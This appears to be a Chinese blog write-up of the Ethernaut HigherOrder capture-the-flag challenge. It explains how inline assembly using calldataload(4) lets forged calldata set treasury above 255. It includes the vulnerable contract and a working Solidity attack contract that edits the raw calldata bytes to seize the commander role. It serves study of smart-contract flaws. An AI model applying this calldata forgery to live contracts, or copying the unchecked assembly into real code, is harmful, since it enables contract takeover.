Appearance
掌控高阶:Ethernaut HigherOrder CTF 挑战深度解析
在一个代码即法律的世界里,有些规则注定要被打破。只有那些最狡猾、最大胆的智者,才能洞察其间的缝隙,一跃成为权力巅峰。欢迎来到神秘莫测的“高阶组织”(Higher Order),这里隐藏着巨大的宝藏,而一位至高无上的指挥官统治着一切。
你的目标?成为这个“高阶组织”的指挥官!这听起来像是一个激动人心的冒险,不是吗?
挑战概述:成为指挥官的秘密
Ethernaut 作为一个学习 Solidity 安全漏洞的平台,总是能提供令人深思的挑战。HigherOrder 挑战也不例外。根据描述,我们需要成为合约的 commander。
我们来看一下 HigherOrder.sol 合约的核心代码:
solidity
pragma solidity 0.6.12;
contract HigherOrder {
address public commander;
uint256 public treasury;
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}
合约非常简洁。它有两个公共状态变量:
commander: 记录当前指挥官的地址。我们的目标就是把这个地址设置为我们自己的。treasury: 记录金库的数值。
有两个关键函数:
registerTreasury(uint8): 看似一个用于注册金库数值的函数。claimLeadership(): 用于声明领导权。但有一个严苛的条件:treasury > 255。
显而易见,要成为指挥官,我们必须设法让 treasury 的值大于 255。而唯一能修改 treasury 的地方,就是 registerTreasury 函数。
洞察漏洞:Calldata 的诡计
现在,让我们把目光聚焦到 registerTreasury 函数:
solidity
function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}
这个函数看起来接收一个 uint8 类型的参数。然而,它的实现却使用了 Solidity 的内联汇编(assembly)!
sstore(treasury_slot, calldataload(4)) 这行代码是关键。
treasury_slot: 这是treasury状态变量在存储中的位置。calldataload(4): 这条指令意味着从调用数据的第4个字节开始,读取整整32个字节的数据。
问题就出在这里!函数签名明确指出它接受一个 uint8 类型(即一个字节)的参数。但 calldataload(4) 却毫不客气地读取 32 个字节!
Solidity 的函数调用约定(ABI 编码)是这样的:
- 前 4 个字节是函数选择器(Function Selector),用于标识要调用的函数。
- 从第 4 个字节开始,是函数参数的数据。通常,每个参数都会被填充到 32 字节的槽位中。
所以,当我们调用 registerTreasury(uint8_value) 时,即使我们传入的是一个 uint8,它也会被 ABI 编码成一个 32 字节的 bytes32 格式,例如 0x000...0001 代表 uint8(1)。calldataload(4) 会读取这个完整的 32 字节。
“有时候,calldata 不能被信任。” 这条提示完美地指向了这个漏洞!我们可以利用这种不对称性来传递一个我们想要的值,而不仅仅是一个 uint8。
破局之道:手工篡改 Calldata
我们的目标是让 treasury 变为至少 256。256 在十六进制中是 0x100。 一个正常的 uint8(1) 的 ABI 编码参数是 0x000...0001 (32字节)。 如果 calldataload(4) 读到的值是 0x000...0100 (32字节),那么 treasury 就会被设置为 256。
这正是攻击合约 Hack.sol 所做的事情:
solidity
pragma solidity 0.6.12;
import "./HigherOrder.sol";
contract Hack {
HigherOrder private immutable target;
constructor(address _target) public {
target = HigherOrder(_target);
}
function cCommander() external {
// 1. 正常编码 registerTreasury(uint8(1)) 的 calldata
bytes memory data = abi.encodeWithSignature("registerTreasury(uint8)", uint8(1));
// 此时 data 看起来会是:
// 0x6a2e41a6 // 函数选择器 (4字节)
// 0000000000000000000000000000000000000000000000000000000000000001 // uint8(1) 的 32字节编码
// 2. 篡改 calldata:修改第34个字节
data[35] = hex"00"; // 确保最低有效字节是 0
data[34] = hex"01"; // 将倒数第二个字节设置为 1
// 此时,从 data[4] 开始读取的 32 字节数据将是 0x...0100
// 这代表十进制的 256
// 3. 使用修改后的 calldata 进行底层调用
(bool success,) = address(target).call(data);
require(success, "Failed to catch commander!");
}
}
攻击步骤:
- 首先,攻击者使用
abi.encodeWithSignature正常编码了调用registerTreasury(uint8(1))的 calldata。这会生成一个标准的 36 字节(4字节选择器 + 32字节参数)的 calldata。其中,uint8(1)在 32 字节参数的最低有效字节(即data[35])处是0x01。 - 接着,攻击者直接修改了这个
bytes数组!将data[35]设置为0x00,并将data[34]设置为0x01。- 回忆一下,参数部分从
data[4]到data[35]。 data[35]是最低有效字节。data[34]是倒数第二个字节。- 经过修改后,这 32 字节的数据从
0x...0001变成了0x...0100。
- 回忆一下,参数部分从
- 最后,使用
address(target).call(data)发送了这个被篡改的 calldata。 当HigherOrder.registerTreasury执行assembly { sstore(treasury_slot, calldataload(4)) }时,它读取到的将是0x...0100,也就是十进制的256!
成功登顶:成为指挥官!
一旦 Hack 合约成功地将 HigherOrder 合约的 treasury 设置为 256,我们就可以调用 claimLeadership() 函数了。
solidity
if (treasury > 255) commander = msg.sender;
此时 treasury 等于 256,满足 256 > 255 的条件,commander 就会被设置为调用 claimLeadership() 的地址(通常是攻击者的地址)。恭喜,你已经成为了“高阶组织”的指挥官!
测试脚本 98_test_higher_order.ts 也清晰地验证了这一过程:
- 最初
treasury为0,commander为0x00...00。 - 部署
Hack合约,并调用hack.cCommander()。 - 调用
hoContract.claimLeadership()。 - 最终
treasury变为256,commander变为部署者的地址。
经验总结
HigherOrder 挑战完美地展示了在 Solidity 中使用内联汇编时可能出现的风险,以及对 calldata 结构深入理解的重要性:
- 内联汇编的强大与危险:
assembly赋予开发者直接操作 EVM 底层指令的能力,效率极高。但这种能力也带来了巨大的责任。一旦对指令的理解有偏差,就可能引入难以察觉的漏洞。 calldataload的特性: 它总是读取 32 字节。当函数签名(期望的参数类型)与底层实现(实际读取的字节数)不匹配时,就会出现问题。- ABI 编码的理解: 知道参数如何在 calldata 中布局,是这种攻击成功的关键。通过直接操作原始字节数组,我们可以绕过正常的类型检查和编码逻辑。
- 不信任外部输入: “calldata 不能被信任”是智能合约开发中的黄金法则。即使是看似安全的函数签名,底层实现也可能被恶意利用。
这个挑战也呼应了另一条提示:“编译器是不断进化的飞船。” 尽管编译器越来越智能,能捕捉更多错误,但在使用 assembly 这种底层工具时,开发者依然需要对 EVM 的工作原理有最透彻的理解。因为,即使是最好的编译器,也无法完全理解你的“意图”,它只能按照你的“指令”行事。
恭喜你,已经证明了你的狡猾与大胆,成功掌控了“高阶”!